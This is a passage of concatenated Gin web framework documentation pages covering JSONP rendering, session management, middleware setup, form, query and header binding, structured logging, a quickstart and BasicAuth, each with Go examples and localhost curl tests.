When you call `c.JSONP()`, Gin checks for a `callback` query parameter. If present, the response body is wrapped as `callbackName({"foo":"bar"})` with a `Content-Type` of `application/javascript`. If no callback is provided, the response behaves like a standard `c.JSON()` call.

```
package main


import (
  "net/http"


  "github.com/gin-gonic/gin"
)


func main() {
  router := gin.Default()


  router.GET("/JSONP", func(c *gin.Context) {
    data := map[string]interface{}{
      "foo": "bar",
    }


    // The callback name is read from the query string, e.g.:
    // GET /JSONP?callback=x
    // Will output  :   x({\"foo\":\"bar\"})
    c.JSONP(http.StatusOK, data)
  })


  // Listen and serve on 0.0.0.0:8080
  router.Run(":8080")
}
```

Test with curl to see the difference between JSONP and plain JSON responses:

Terminal window

```
# With callback -- returns JavaScript
curl "http://localhost:8080/JSONP?callback=handleData"
# Output: handleData({"foo":"bar"});


# Without callback -- returns plain JSON
curl "http://localhost:8080/JSONP"
# Output: {"foo":"bar"}
```

## See also

[Section titled “See also”](#see-also)

* [XML/JSON/YAML/ProtoBuf rendering](/en/docs/rendering/rendering/)
* [SecureJSON](/en/docs/rendering/secure-json/)
* [AsciiJSON](/en/docs/rendering/ascii-json/)
* [PureJSON](/en/docs/rendering/pure-json/)

----
url: https://gin-gonic.com/en/docs/middleware/session-management/
----

[Skip to content](#_top)

# Session Management

Sessions allow you to store user-specific data across multiple HTTP requests. Since HTTP is stateless, sessions use cookies or other mechanisms to identify returning users and retrieve their stored data.

## Using gin-contrib/sessions

[Section titled “Using gin-contrib/sessions”](#using-gin-contribsessions)

The [gin-contrib/sessions](https://github.com/gin-contrib/sessions) middleware provides session management with multiple backend stores:

Terminal window

```
go get github.com/gin-contrib/sessions
```

### Cookie-based sessions

[Section titled “Cookie-based sessions”](#cookie-based-sessions)

The simplest approach stores session data in encrypted cookies:

```
package main


import (
  "net/http"


  "github.com/gin-contrib/sessions"
  "github.com/gin-contrib/sessions/cookie"
  "github.com/gin-gonic/gin"
)


func main() {
  r := gin.Default()


  // Create cookie-based session store with a secret key
  store := cookie.NewStore([]byte("your-secret-key"))
  r.Use(sessions.Sessions("mysession", store))


  r.GET("/login", func(c *gin.Context) {
    session := sessions.Default(c)
    session.Set("user", "john")
    session.Save()
    c.JSON(http.StatusOK, gin.H{"message": "logged in"})
  })


  r.GET("/profile", func(c *gin.Context) {
    session := sessions.Default(c)
    user := session.Get("user")
    if user == nil {
      c.JSON(http.StatusUnauthorized, gin.H{"error": "not logged in"})
      return
    }
    c.JSON(http.StatusOK, gin.H{"user": user})
  })


  r.GET("/logout", func(c *gin.Context) {
    session := sessions.Default(c)
    session.Clear()
    session.Save()
    c.JSON(http.StatusOK, gin.H{"message": "logged out"})
  })


  r.Run(":8080")
}
```

### Redis-based sessions

[Section titled “Redis-based sessions”](#redis-based-sessions)

For production applications, store sessions in Redis for scalability across multiple instances:

```
package main


import (
  "net/http"


  "github.com/gin-contrib/sessions"
  "github.com/gin-contrib/sessions/redis"
  "github.com/gin-gonic/gin"
)


func main() {
  r := gin.Default()


  // Connect to Redis for session storage
  store, err := redis.NewStore(10, "tcp", "localhost:6379", "", []byte("secret"))
  if err != nil {
    panic(err)
  }
  r.Use(sessions.Sessions("mysession", store))


  r.GET("/set", func(c *gin.Context) {
    session := sessions.Default(c)
    session.Set("count", 1)
    session.Save()
    c.JSON(http.StatusOK, gin.H{"count": 1})
  })


  r.GET("/get", func(c *gin.Context) {
    session := sessions.Default(c)
    count := session.Get("count")
    c.JSON(http.StatusOK, gin.H{"count": count})
  })


  r.Run(":8080")
}
```

## Session options

[Section titled “Session options”](#session-options)

Configure session behavior with `sessions.Options`:

```
session := sessions.Default(c)
session.Options(sessions.Options{
  Path:     "/",
  MaxAge:   3600,        // Session expires in 1 hour (seconds)
  HttpOnly: true,        // Prevent JavaScript access
  Secure:   true,        // Only send over HTTPS
  SameSite: http.SameSiteLaxMode,
})
```

| Option     | Description                                                      |
| ---------- | ---------------------------------------------------------------- |
| `Path`     | Cookie path scope (default: `/`)                                 |
| `MaxAge`   | Lifetime in seconds. Use `-1` to delete, `0` for browser session |
| `HttpOnly` | Prevents JavaScript access to the cookie                         |
| `Secure`   | Only send cookie over HTTPS                                      |
| `SameSite` | Controls cross-site cookie behavior (`Lax`, `Strict`, `None`)    |

## Available backends

[Section titled “Available backends”](#available-backends)

| Backend    | Package              | Use case                                  |
| ---------- | -------------------- | ----------------------------------------- |
| Cookie     | `sessions/cookie`    | Simple apps, small session data           |
| Redis      | `sessions/redis`     | Production, multi-instance deployments    |
| Memcached  | `sessions/memcached` | High-performance caching layer            |
| MongoDB    | `sessions/mongo`     | When MongoDB is your primary datastore    |
| PostgreSQL | `sessions/postgres`  | When PostgreSQL is your primary datastore |

## Sessions vs JWT

[Section titled “Sessions vs JWT”](#sessions-vs-jwt)

| Aspect      | Sessions                 | JWT                            |
| ----------- | ------------------------ | ------------------------------ |
| Storage     | Server-side (Redis, DB)  | Client-side (token)            |
| Revocation  | Easy (delete from store) | Difficult (requires blocklist) |
| Scalability | Needs shared store       | Stateless                      |
| Data size   | Unlimited server-side    | Limited by token size          |

Use sessions when you need easy revocation (e.g., logout, ban user). Use JWT when you need stateless authentication across microservices.

## See also

[Section titled “See also”](#see-also)

* [Cookie handling](/en/docs/server-config/cookie/)
* [Security best practices](/en/docs/middleware/security-guide/)
* [Using middleware](/en/docs/middleware/using-middleware/)

----
url: https://gin-gonic.com/en/docs/middleware/without-middleware/
----

[Skip to content](#_top)

# Without middleware by default

Gin offers two ways to create a router engine, and the difference comes down to which middleware is attached by default.

### `gin.Default()` – with Logger and Recovery

[Section titled “gin.Default() – with Logger and Recovery”](#gindefault--with-logger-and-recovery)

`gin.Default()` creates a router with two middleware already attached:

* **Logger** – Writes request logs to stdout (method, path, status code, latency).
* **Recovery** – Recovers from any panics in handlers and returns a 500 response, preventing your server from crashing.

This is the most common choice for getting started quickly.

### `gin.New()` – a blank engine

[Section titled “gin.New() – a blank engine”](#ginnew--a-blank-engine)

`gin.New()` creates a completely bare router with **no middleware** attached. This is useful when you want full control over which middleware runs, for example:

* You want to use a structured logger (such as `slog` or `zerolog`) instead of the default text logger.
* You want to customize panic recovery behavior.
* You are building a microservice where you need a minimal or specialized middleware stack.

### Example

[Section titled “Example”](#example)

```
package main


import (
  "log"
  "net/http"


  "github.com/gin-gonic/gin"
)


func main() {
  // Create a blank engine with no middleware.
  r := gin.New()


  // Attach only the middleware you need.
  r.Use(gin.Recovery())


  r.GET("/ping", func(c *gin.Context) {
    c.String(http.StatusOK, "pong")
  })


  log.Fatal(r.Run(":8080"))
}
```

In the example above, the Recovery middleware is included to prevent crashes, but the default Logger middleware is omitted. You could replace it with your own logging middleware or leave it out entirely.

----
url: https://gin-gonic.com/en/docs/routing/multipart-urlencoded-form/
----

[Skip to content](#_top)

# Multipart/Urlencoded form

Use `c.PostForm()` and `c.DefaultPostForm()` to read values from form submissions. These methods work with both `application/x-www-form-urlencoded` and `multipart/form-data` content types – the two standard ways browsers submit form data.

* `c.PostForm("field")` returns the value or an empty string if the field is missing.
* `c.DefaultPostForm("field", "fallback")` returns the value or the specified default if the field is missing.

```
package main


import (
  "net/http"


  "github.com/gin-gonic/gin"
)


func main() {
  router := gin.Default()


  router.POST("/form_post", func(c *gin.Context) {
    message := c.PostForm("message")
    nick := c.DefaultPostForm("nick", "anonymous")


    c.JSON(200, gin.H{
      "status":  "posted",
      "message": message,
      "nick":    nick,
    })
  })
  router.Run(":8080")
}
```

## Test it

[Section titled “Test it”](#test-it)

Terminal window

```
# URL-encoded form
curl -X POST http://localhost:8080/form_post \
  -d "message=hello&nick=world"
# Output: {"message":"hello","nick":"world","status":"posted"}


# Multipart form
curl -X POST http://localhost:8080/form_post \
  -F "message=hello" -F "nick=world"
# Output: {"message":"hello","nick":"world","status":"posted"}


# Missing nick -- falls back to default "anonymous"
curl -X POST http://localhost:8080/form_post \
  -d "message=hello"
# Output: {"message":"hello","nick":"anonymous","status":"posted"}
```

## See also

[Section titled “See also”](#see-also)

* [Upload files](/en/docs/routing/upload-file/)
* [Query and post form](/en/docs/routing/query-and-post-form/)

----
url: https://gin-gonic.com/en/docs/binding/bind-form-data-request-with-custom-struct/
----

[Skip to content](#_top)

# Bind form-data request with custom struct

Gin can bind form data into nested structs automatically. When your data model is composed of smaller structs — either as embedded fields, pointer fields, or anonymous inline structs — Gin walks through the struct hierarchy and maps each `form` tag to the corresponding query parameter or form field.

This is useful for organizing complex forms into reusable sub-structures rather than defining one flat struct with many fields.

```
package main


import (
  "net/http"


  "github.com/gin-gonic/gin"
)


type StructA struct {
  FieldA string `form:"field_a"`
}


type StructB struct {
  NestedStruct StructA
  FieldB       string `form:"field_b"`
}


type StructC struct {
  NestedStructPointer *StructA
  FieldC              string `form:"field_c"`
}


type StructD struct {
  NestedAnonyStruct struct {
    FieldX string `form:"field_x"`
  }
  FieldD string `form:"field_d"`
}


func main() {
  router := gin.Default()


  router.GET("/getb", func(c *gin.Context) {
    var b StructB
    c.Bind(&b)
    c.JSON(http.StatusOK, gin.H{
      "a": b.NestedStruct,
      "b": b.FieldB,
    })
  })


  router.GET("/getc", func(c *gin.Context) {
    var b StructC
    c.Bind(&b)
    c.JSON(http.StatusOK, gin.H{
      "a": b.NestedStructPointer,
      "c": b.FieldC,
    })
  })


  router.GET("/getd", func(c *gin.Context) {
    var b StructD
    c.Bind(&b)
    c.JSON(http.StatusOK, gin.H{
      "x": b.NestedAnonyStruct,
      "d": b.FieldD,
    })
  })


  router.Run(":8080")
}
```

## Test it

[Section titled “Test it”](#test-it)

Terminal window

```
# Nested struct -- fields from StructA are bound alongside StructB's own fields
curl "http://localhost:8080/getb?field_a=hello&field_b=world"
# Output: {"a":{"FieldA":"hello"},"b":"world"}


# Nested struct pointer -- works the same way, Gin allocates the pointer automatically
curl "http://localhost:8080/getc?field_a=hello&field_c=world"
# Output: {"a":{"FieldA":"hello"},"c":"world"}


# Anonymous inline struct -- fields are bound by their form tags as usual
curl "http://localhost:8080/getd?field_x=hello&field_d=world"
# Output: {"d":"world","x":{"FieldX":"hello"}}
```

## See also

[Section titled “See also”](#see-also)

* [Binding and validation](/en/docs/binding/binding-and-validation/)
* [Bind form-data with custom struct tag](/en/docs/binding/bind-form-data-custom-struct-tag/)

----
url: https://gin-gonic.com/en/docs/logging/avoid-logging-query-strings/
----

[Skip to content](#_top)

# Avoid logging query strings

Query strings often contain sensitive information such as API tokens, passwords, session IDs, or personally identifiable information (PII). Logging these values can create security risks and may violate privacy regulations like GDPR or HIPAA. By stripping query strings from your logs, you reduce the chance of leaking sensitive data through log files, monitoring systems, or error reporting tools.

Use the `SkipQueryString` option in `LoggerConfig` to prevent query strings from appearing in logs. When enabled, a request to `/path?token=secret&user=alice` will be logged simply as `/path`.

```
func main() {
  router := gin.New()


  // SkipQueryString indicates that the logger should not log the query string.
  // For example, /path?q=1 will be logged as /path
  loggerConfig := gin.LoggerConfig{SkipQueryString: true}


  router.Use(gin.LoggerWithConfig(loggerConfig))
  router.Use(gin.Recovery())


  router.GET("/search", func(c *gin.Context) {
    q := c.Query("q")
    c.String(200, "searching for: "+q)
  })


  router.Run(":8080")
}
```

You can test the difference with `curl`:

Terminal window

```
curl "http://localhost:8080/search?q=gin&token=secret123"
```

Without `SkipQueryString`, the log entry includes the full query string:

```
[GIN] 2025/06/01 - 15:04:05 | 200 |     102.4µs |       127.0.0.1 | GET      "/search?q=gin&token=secret123"
```

With `SkipQueryString: true`, the query string is stripped:

```
[GIN] 2025/06/01 - 15:04:05 | 200 |     102.4µs |       127.0.0.1 | GET      "/search"
```

This is particularly useful in compliance-sensitive environments where log output is forwarded to third-party services or stored long-term. Your application still has full access to query parameters through `c.Query()` – only the log output is affected.

----
url: https://gin-gonic.com/en/docs/binding/bind-query-or-post/
----

[Skip to content](#_top)

# Bind query string or post data

`ShouldBind` automatically selects the binding engine based on the HTTP method and `Content-Type` header:

* For **GET** requests, it uses query string binding (`form` tags).
* For **POST/PUT** requests, it checks the `Content-Type` — using JSON binding for `application/json`, XML for `application/xml`, and form binding for `application/x-www-form-urlencoded` or `multipart/form-data`.

This means a single handler can accept data from both query strings and request bodies without manual source selection.

```
package main


import (
  "log"
  "net/http"
  "time"


  "github.com/gin-gonic/gin"
)


type Person struct {
  Name     string    `form:"name"`
  Address  string    `form:"address"`
  Birthday time.Time `form:"birthday" time_format:"2006-01-02" time_utc:"1"`
}


func main() {
  route := gin.Default()
  route.GET("/testing", startPage)
  route.POST("/testing", startPage)
  route.Run(":8085")
}


func startPage(c *gin.Context) {
  var person Person
  if err := c.ShouldBind(&person); err != nil {
    c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
    return
  }


  log.Printf("Name: %s, Address: %s, Birthday: %s\n", person.Name, person.Address, person.Birthday)
  c.JSON(http.StatusOK, gin.H{
    "name":     person.Name,
    "address":  person.Address,
    "birthday": person.Birthday,
  })
}
```

## Test it

[Section titled “Test it”](#test-it)

Terminal window

```
# GET with query string parameters
curl "http://localhost:8085/testing?name=appleboy&address=xyz&birthday=1992-03-15"
# Output: {"address":"xyz","birthday":"1992-03-15T00:00:00Z","name":"appleboy"}


# POST with form data
curl -X POST http://localhost:8085/testing \
  -d "name=appleboy&address=xyz&birthday=1992-03-15"
# Output: {"address":"xyz","birthday":"1992-03-15T00:00:00Z","name":"appleboy"}


# POST with JSON body
curl -X POST http://localhost:8085/testing \
  -H "Content-Type: application/json" \
  -d '{"name":"appleboy","address":"xyz","birthday":"1992-03-15"}'
# Output: {"address":"xyz","birthday":"1992-03-15T00:00:00Z","name":"appleboy"}
```

## See also

[Section titled “See also”](#see-also)

* [Binding and validation](/en/docs/binding/binding-and-validation/)
* [Only bind query string](/en/docs/binding/only-bind-query-string/)
* [Bind header](/en/docs/binding/bind-header/)

----
url: https://gin-gonic.com/en/docs/server-config/custom-json-codec/
----

[Skip to content](#_top)

# Custom JSON codec at runtime

Gin supports custom JSON serialization and deserialization logic without using compile tags.

1. Define a custom struct that implements the `json.Core` interface.
2. Before your engine starts, assign values to `json.API` using the custom struct.

```
package main


import (
  "io"


  "github.com/gin-gonic/gin"
  "github.com/gin-gonic/gin/codec/json"
  jsoniter "github.com/json-iterator/go"
)


var customConfig = jsoniter.Config{
  EscapeHTML:             true,
  SortMapKeys:            true,
  ValidateJsonRawMessage: true,
}.Froze()


type customJsonApi struct{}


func (j customJsonApi) Marshal(v any) ([]byte, error) {
  return customConfig.Marshal(v)
}


func (j customJsonApi) Unmarshal(data []byte, v any) error {
  return customConfig.Unmarshal(data, v)
}


func (j customJsonApi) MarshalIndent(v any, prefix, indent string) ([]byte, error) {
  return customConfig.MarshalIndent(v, prefix, indent)
}


func (j customJsonApi) NewEncoder(writer io.Writer) json.Encoder {
  return customConfig.NewEncoder(writer)
}


func (j customJsonApi) NewDecoder(reader io.Reader) json.Decoder {
  return customConfig.NewDecoder(reader)
}


func main() {
  // Replace the default json api
  json.API = customJsonApi{}


  // Start your gin engine
  router := gin.Default()
  router.Run(":8080")
}
```

----
url: https://gin-gonic.com/en/docs/logging/structured-logging/
----

[Skip to content](#_top)

# Structured Logging

Structured logging produces machine-readable log output (typically JSON) instead of plain text. This makes logs easier to search, filter, and analyze in log aggregation systems like ELK Stack, Datadog, or Grafana Loki.

## Why structured logging?

[Section titled “Why structured logging?”](#why-structured-logging)

Gin’s default logger outputs human-readable text, which is great for development but difficult to parse at scale. Structured logging gives you:

* **Queryable fields** — filter logs by status code, latency, or user ID
* **Consistent format** — every log entry has the same shape
* **Correlation** — trace a request across services using request IDs

## Using slog (Go 1.21+)

[Section titled “Using slog (Go 1.21+)”](#using-slog-go-121)

Go’s standard library includes `log/slog` for structured logging. Here’s how to use it with Gin:

```
package main


import (
  "log/slog"
  "os"
  "time"


  "github.com/gin-gonic/gin"
)


func SlogMiddleware(logger *slog.Logger) gin.HandlerFunc {
  return func(c *gin.Context) {
    start := time.Now()
    path := c.Request.URL.Path
    query := c.Request.URL.RawQuery


    c.Next()


    logger.Info("request",
      slog.String("method", c.Request.Method),
      slog.String("path", path),
      slog.String("query", query),
      slog.Int("status", c.Writer.Status()),
      slog.Duration("latency", time.Since(start)),
      slog.String("client_ip", c.ClientIP()),
      slog.Int("body_size", c.Writer.Size()),
    )


    if len(c.Errors) > 0 {
      for _, err := range c.Errors {
        logger.Error("request error", slog.String("error", err.Error()))
      }
    }
  }
}


func main() {
  logger := slog.New(slog.NewJSONHandler(os.Stdout, nil))


  r := gin.New()
  r.Use(SlogMiddleware(logger))
  r.Use(gin.Recovery())


  r.GET("/ping", func(c *gin.Context) {
    c.JSON(200, gin.H{"message": "pong"})
  })


  r.Run(":8080")
}
```

This produces log entries like:

```
{"time":"2024-01-15T10:30:00Z","level":"INFO","msg":"request","method":"GET","path":"/ping","query":"","status":200,"latency":"125µs","client_ip":"127.0.0.1","body_size":18}
```

## Request ID / Correlation ID

[Section titled “Request ID / Correlation ID”](#request-id--correlation-id)

Adding a unique request ID to every log entry helps trace requests across services:

```
package main


import (
  "log/slog"
  "os"
  "time"


  "github.com/gin-gonic/gin"
  "github.com/google/uuid"
)


func RequestIDMiddleware() gin.HandlerFunc {
  return func(c *gin.Context) {
    requestID := c.GetHeader("X-Request-ID")
    if requestID == "" {
      requestID = uuid.New().String()
    }
    c.Set("request_id", requestID)
    c.Header("X-Request-ID", requestID)
    c.Next()
  }
}


func SlogMiddleware(logger *slog.Logger) gin.HandlerFunc {
  return func(c *gin.Context) {
    start := time.Now()


    c.Next()


    requestID, _ := c.Get("request_id")
    logger.Info("request",
      slog.String("request_id", requestID.(string)),
      slog.String("method", c.Request.Method),
      slog.String("path", c.Request.URL.Path),
      slog.Int("status", c.Writer.Status()),
      slog.Duration("latency", time.Since(start)),
    )
  }
}


func main() {
  logger := slog.New(slog.NewJSONHandler(os.Stdout, nil))


  r := gin.New()
  r.Use(RequestIDMiddleware())
  r.Use(SlogMiddleware(logger))
  r.Use(gin.Recovery())


  r.GET("/ping", func(c *gin.Context) {
    c.JSON(200, gin.H{"message": "pong"})
  })


  r.Run(":8080")
}
```

## Using zerolog

[Section titled “Using zerolog”](#using-zerolog)

[zerolog](https://github.com/rs/zerolog) is a popular zero-allocation JSON logger:

```
package main


import (
  "os"
  "time"


  "github.com/gin-gonic/gin"
  "github.com/rs/zerolog"
  "github.com/rs/zerolog/log"
)


func ZerologMiddleware() gin.HandlerFunc {
  return func(c *gin.Context) {
    start := time.Now()


    c.Next()


    log.Info().
      Str("method", c.Request.Method).
      Str("path", c.Request.URL.Path).
      Int("status", c.Writer.Status()).
      Dur("latency", time.Since(start)).
      Str("client_ip", c.ClientIP()).
      Msg("request")
  }
}


func main() {
  zerolog.TimeFieldFormat = zerolog.TimeFormatUnix


  // Pretty logging for development
  if gin.Mode() == gin.DebugMode {
    log.Logger = log.Output(zerolog.ConsoleWriter{Out: os.Stderr})
  }


  r := gin.New()
  r.Use(ZerologMiddleware())
  r.Use(gin.Recovery())


  r.GET("/ping", func(c *gin.Context) {
    c.JSON(200, gin.H{"message": "pong"})
  })


  r.Run(":8080")
}
```

## Best practices

[Section titled “Best practices”](#best-practices)

* **Use JSON format in production** — human-readable format for development, JSON for production log aggregation
* **Include request IDs** — propagate `X-Request-ID` headers across service boundaries for distributed tracing
* **Log at appropriate levels** — use `Info` for normal requests, `Warn` for 4xx, `Error` for 5xx
* **Avoid logging sensitive data** — exclude passwords, tokens, and PII from log output
* **Set `GIN_MODE=release`** — this disables Gin’s default debug logging in production

## See also

[Section titled “See also”](#see-also)

* [How to write log file](/en/docs/logging/write-log/)
* [Avoid logging query strings](/en/docs/logging/avoid-logging-query-strings/)
* [Custom log format](/en/docs/logging/custom-log-format/)

----
url: https://gin-gonic.com/en/docs/binding/bind-default-values/
----

[Skip to content](#_top)

# Bind default values for form fields

Sometimes you want a field to fall back to a default when the client doesn’t send a value. Gin’s form binding supports defaults via the `default` option in the `form` struct tag. This works for scalars and, starting in Gin v1.11, for collections (slices/arrays) with explicit collection formats.

Key points:

* Put the default right after the form key: `form:"name,default=William"`.
* For collections, specify how to split values with `collection_format:"multi|csv|ssv|tsv|pipes"`.
* For `multi` and `csv`, use semicolons in the default to separate values (e.g., `default=1;2;3`). Gin converts these to commas internally so the tag parser remains unambiguous.
* For `ssv` (space), `tsv` (tab), and `pipes` (|), use the natural separator in the default.

Example:

```
package main


import (
  "net/http"


  "github.com/gin-gonic/gin"
)


type Person struct {
  Name      string    `form:"name,default=William"`
  Age       int       `form:"age,default=10"`
  Friends   []string  `form:"friends,default=Will;Bill"`                     // multi/csv: use ; in defaults
  Addresses [2]string `form:"addresses,default=foo bar" collection_format:"ssv"`
  LapTimes  []int     `form:"lap_times,default=1;2;3" collection_format:"csv"`
}


func main() {
  r := gin.Default()
  r.POST("/person", func(c *gin.Context) {
    var req Person
    if err := c.ShouldBind(&req); err != nil { // infers binder by Content-Type
      c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
      return
    }
    c.JSON(http.StatusOK, req)
  })
  _ = r.Run(":8080")
}
```

If you POST without any body, Gin responds with the defaults:

Terminal window

```
curl -X POST http://localhost:8080/person
```

Response (example):

```
{
  "Name": "William",
  "Age": 10,
  "Friends": ["Will", "Bill"],
  "Addresses": ["foo", "bar"],
  "LapTimes": [1, 2, 3]
}
```

Notes and caveats:

* Commas are used by Go struct tag syntax to separate options; avoid commas inside default values.
* For `multi` and `csv`, semicolons separate default values; don’t include semicolons inside individual defaults for these formats.
* Invalid `collection_format` values will result in a binding error.

Related changes:

* Collection formats for form binding (`multi`, `csv`, `ssv`, `tsv`, `pipes`) were enhanced around v1.11.
* Default values for collections were added in v1.11 (PR #4048).

----
url: https://gin-gonic.com/en/docs/quickstart/
----

[Skip to content](#_top)

# Quickstart

Welcome to the Gin quickstart! This guide walks you through installing Gin, setting up a project, and running your first API—so you can start building web services with confidence.

## Prerequisites

[Section titled “Prerequisites”](#prerequisites)

* **Go version**: Gin requires [Go](https://go.dev/) version [1.25](https://go.dev/doc/devel/release#go1.25) or above
* Confirm Go is in your `PATH` and usable from your terminal. For Go installation help, [see official docs](https://go.dev/doc/install).

***

## Step 1: Install Gin and Initialize Your Project

[Section titled “Step 1: Install Gin and Initialize Your Project”](#step-1-install-gin-and-initialize-your-project)

Start by creating a new project folder and initializing a Go module:

Terminal window

```
mkdir gin-quickstart && cd gin-quickstart
go mod init gin-quickstart
```

Add Gin as a dependency:

Terminal window

```
go get -u github.com/gin-gonic/gin
```

***

## Step 2: Create Your First Gin App

[Section titled “Step 2: Create Your First Gin App”](#step-2-create-your-first-gin-app)

Create a file called `main.go`:

Terminal window

```
touch main.go
```

Open `main.go` and add the following code:

```
package main


import "github.com/gin-gonic/gin"


func main() {
  router := gin.Default()
  router.GET("/ping", func(c *gin.Context) {
    c.JSON(200, gin.H{
      "message": "pong",
    })
  })
  router.Run() // listens on 0.0.0.0:8080 by default
}
```

***

## Step 3: Run Your API Server

[Section titled “Step 3: Run Your API Server”](#step-3-run-your-api-server)

Start your server with:

Terminal window

```
go run main.go
```

Navigate to <http://localhost:8080/ping> in your browser, and you should see:

```
{"message":"pong"}
```

***

## Additional Example: Using net/http with Gin

[Section titled “Additional Example: Using net/http with Gin”](#additional-example-using-nethttp-with-gin)

If you want to use `net/http` constants for response codes, import it as well:

```
package main


import (
  "github.com/gin-gonic/gin"
  "net/http"
)


func main() {
  router := gin.Default()
  router.GET("/ping", func(c *gin.Context) {
    c.JSON(http.StatusOK, gin.H{
      "message": "pong",
    })
  })
  router.Run()
}
```

***

## Tips & Resources

[Section titled “Tips & Resources”](#tips--resources)

* New to Go? Learn how to write and run Go code in the [official Go documentation](https://go.dev/doc/code).

* Want to practice Gin concepts hands-on? Check out our [Learning Resources](../learning-resources) for interactive challenges and tutorials.

* Need a full-featured example? Try scaffolding with:

  Terminal window

  ```
  curl https://raw.githubusercontent.com/gin-gonic/examples/master/basic/main.go > main.go
  ```

* For more detailed documentation, visit the [Gin source code docs](https://github.com/gin-gonic/gin/blob/master/docs/doc.md).

----
url: https://gin-gonic.com/en/docs/binding/only-bind-query-string/
----

[Skip to content](#_top)

# Only bind query string

`ShouldBindQuery` binds only the URL query string parameters to a struct, ignoring the request body entirely. This is useful when you want to ensure that POST body data does not accidentally overwrite query parameters — for example, in endpoints that accept both query filters and a JSON body.

In contrast, `ShouldBind` on a GET request also uses query binding, but on a POST request it will first check the body. Use `ShouldBindQuery` when you explicitly want query-only binding regardless of the HTTP method.

```
package main


import (
  "net/http"


  "github.com/gin-gonic/gin"
)


type Person struct {
  Name    string `form:"name"`
  Address string `form:"address"`
}


func main() {
  route := gin.Default()
  route.Any("/testing", startPage)
  route.Run(":8085")
}


func startPage(c *gin.Context) {
  var person Person
  if err := c.ShouldBindQuery(&person); err != nil {
    c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
    return
  }


  c.JSON(http.StatusOK, gin.H{
    "name":    person.Name,
    "address": person.Address,
  })
}
```

## Test it

[Section titled “Test it”](#test-it)

Terminal window

```
# GET with query parameters
curl "http://localhost:8085/testing?name=appleboy&address=xyz"
# Output: {"address":"xyz","name":"appleboy"}


# POST with query parameters -- body is ignored, only query is bound
curl -X POST "http://localhost:8085/testing?name=appleboy&address=xyz" \
  -d "name=ignored&address=ignored"
# Output: {"address":"xyz","name":"appleboy"}
```

## See also

[Section titled “See also”](#see-also)

* [Bind query string or post data](/en/docs/binding/bind-query-or-post/)
* [Binding and validation](/en/docs/binding/binding-and-validation/)

----
url: https://gin-gonic.com/en/docs/routing/map-as-querystring-or-postform/
----

[Skip to content](#_top)

# Map as querystring or postform parameters

Sometimes you need to receive a set of key-value pairs where the keys are not known in advance — for example, dynamic filters or user-defined metadata. Gin provides `c.QueryMap` and `c.PostFormMap` to parse bracket-notation parameters (like `ids[a]=1234`) into a `map[string]string`.

* `c.QueryMap("key")` — parses `key[subkey]=value` pairs from the URL query string.
* `c.PostFormMap("key")` — parses `key[subkey]=value` pairs from the request body.

```
package main


import (
  "fmt"
  "net/http"


  "github.com/gin-gonic/gin"
)


func main() {
  router := gin.Default()


  router.POST("/post", func(c *gin.Context) {
    ids := c.QueryMap("ids")
    names := c.PostFormMap("names")


    fmt.Printf("ids: %v; names: %v\n", ids, names)
    c.JSON(http.StatusOK, gin.H{
      "ids":   ids,
      "names": names,
    })
  })


  router.Run(":8080")
}
```

## Test it

[Section titled “Test it”](#test-it)

Terminal window

```
curl -X POST "http://localhost:8080/post?ids[a]=1234&ids[b]=hello" \
  -d "names[first]=thinkerou&names[second]=tianou"
# Output: {"ids":{"a":"1234","b":"hello"},"names":{"first":"thinkerou","second":"tianou"}}
```

## See also

[Section titled “See also”](#see-also)

* [Query string parameters](/en/docs/routing/querystring-param/)
* [Query and post form](/en/docs/routing/query-and-post-form/)

----
url: https://gin-gonic.com/en/docs/binding/bind-header/
----

[Skip to content](#_top)

# Bind header

`ShouldBindHeader` binds HTTP request headers directly into a struct using `header` struct tags. This is useful for extracting metadata like API rate limits, authentication tokens, or custom domain headers from incoming requests.

```
package main


import (
  "net/http"


  "github.com/gin-gonic/gin"
)


type testHeader struct {
  Rate   int    `header:"Rate"`
  Domain string `header:"Domain"`
}


func main() {
  r := gin.Default()


  r.GET("/", func(c *gin.Context) {
    h := testHeader{}


    if err := c.ShouldBindHeader(&h); err != nil {
      c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
      return
    }


    c.JSON(http.StatusOK, gin.H{"Rate": h.Rate, "Domain": h.Domain})
  })


  r.Run(":8080")
}
```

## Test it

[Section titled “Test it”](#test-it)

Terminal window

```
# Pass custom headers
curl -H "Rate:300" -H "Domain:music" http://localhost:8080/
# Output: {"Domain":"music","Rate":300}


# Missing headers -- zero values are used
curl http://localhost:8080/
# Output: {"Domain":"","Rate":0}
```

## See also

[Section titled “See also”](#see-also)

* [Binding and validation](/en/docs/binding/binding-and-validation/)
* [Bind query string or post data](/en/docs/binding/bind-query-or-post/)

----
url: https://gin-gonic.com/en/docs/middleware/using-basicauth-middleware/
----

[Skip to content](#_top)

# Using BasicAuth middleware

Gin ships with a built-in `gin.BasicAuth()` middleware that implements [HTTP Basic Authentication](https://developer.mozilla.org/en-US/docs/Web/HTTP/Authentication#basic_authentication_scheme). It accepts a `gin.Accounts` map (a shortcut for `map[string]string`) of username/password pairs and protects any route group it is applied to.

```
package main


import (
  "net/http"


  "github.com/gin-gonic/gin"
)


// simulate some private data
var secrets = gin.H{
  "foo":    gin.H{"email": "foo@bar.com", "phone": "123433"},
  "austin": gin.H{"email": "austin@example.com", "phone": "666"},
  "lena":   gin.H{"email": "lena@guapa.com", "phone": "523443"},
}


func main() {
  router := gin.Default()


  // Group using gin.BasicAuth() middleware
  // gin.Accounts is a shortcut for map[string]string
  authorized := router.Group("/admin", gin.BasicAuth(gin.Accounts{
    "foo":    "bar",
    "austin": "1234",
    "lena":   "hello2",
    "manu":   "4321",
  }))


  // /admin/secrets endpoint
  // hit "localhost:8080/admin/secrets
  authorized.GET("/secrets", func(c *gin.Context) {
    // get user, it was set by the BasicAuth middleware
    user := c.MustGet(gin.AuthUserKey).(string)
    if secret, ok := secrets[user]; ok {
      c.JSON(http.StatusOK, gin.H{"user": user, "secret": secret})
    } else {
      c.JSON(http.StatusOK, gin.H{"user": user, "secret": "NO SECRET :("})
    }
  })


  // Listen and serve on 0.0.0.0:8080
  router.Run(":8080")
}
```

### Try it

[Section titled “Try it”](#try-it)

Use the `-u` flag with curl to supply Basic Authentication credentials:

Terminal window

```
# Successful authentication
curl -u foo:bar http://localhost:8080/admin/secrets
# => {"secret":{"email":"foo@bar.com","phone":"123433"},"user":"foo"}


# Wrong password -- returns 401 Unauthorized
curl -u foo:wrongpassword http://localhost:8080/admin/secrets


